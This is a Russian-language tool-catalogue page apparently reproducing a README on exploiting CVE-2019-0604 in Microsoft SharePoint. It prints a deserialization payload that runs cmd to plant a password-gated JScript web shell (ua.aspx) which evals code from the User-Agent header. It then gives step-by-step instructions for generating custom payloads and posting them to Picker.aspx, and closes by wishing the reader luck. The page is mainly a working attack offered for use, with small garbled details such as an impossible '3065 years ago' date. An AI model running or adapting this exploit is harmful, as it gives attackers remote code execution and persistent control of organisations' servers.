Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-0604 — Подробное объяснение кода эксплойта SharePoint RCE от k8gege cve-2019-0604-exp.py, создание собственного пейлоада | Kitploit
Инструменты/GitHubGitHub/boxhg/cve-2019-0604
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

Подробное объяснение кода эксплойта SharePoint RCE от k8gege cve-2019-0604-exp.py, создание собственного пейлоада

Репозиторий
3065 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Image Pyaload Maker

一、Разбор скрипта k8gege CVE-2019-0604-exp.py

Скрипт k8gege https://github.com/k8gege/CVE-2019-0604

Честно говоря, py-скрипт k8gege несколько вычурный — куча шестнадцатеричных строк, разбитых на payload1, 2, 3, хитро придумано.

Python-скрипт отправляет payload через POST, который после десериализации представляет собой XML-данные:

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Image Pyaload Maker

То есть удалённо выполняется команда echo, которая записывает файл up.aspx в каталог шаблонов layouts SharePoint-сервера:

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

Создаётся однострочный веб-шелл K8 Feidao UA.asxp — готово, shell получен.

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

二、Создание собственного payload

Если вы хотите создать свой payload для удалённого выполнения команд, следуйте этим шагам:

  1. Скачайте скомпилированную программу по ссылке https://github.com/boxhg/CVE-2019-0604/releases , распакуйте и запустите CVE20190604Forms.exe.

  2. В текстовое поле "Cmd" введите команду, нажмите кнопку "Update XML" — команда будет объединена в XML.

  3. Нажмите "EncodeEntity" — программа сериализует XML-строку в объект и инициирует выполнение payload. Сериализованная строка отобразится в текстовом поле "payload":

root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. Строки вида "__cp...." — это и есть payload. Скопируйте их в cve-2019-0604-exp.py, заменив исходный payload от k8.

  2. При отправке payload на Picker.aspx необходимо приложить другие параметры. Их можно получить через прокси-инструмент Burp, затем передать значение payload в ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData:

root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...
  1. Запустите py-скрипт — удачи!

Рекомендуется использовать Burp для отправки payload — это удобнее.

Ссылки по CVE-2019-0604:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

Скачать инструмент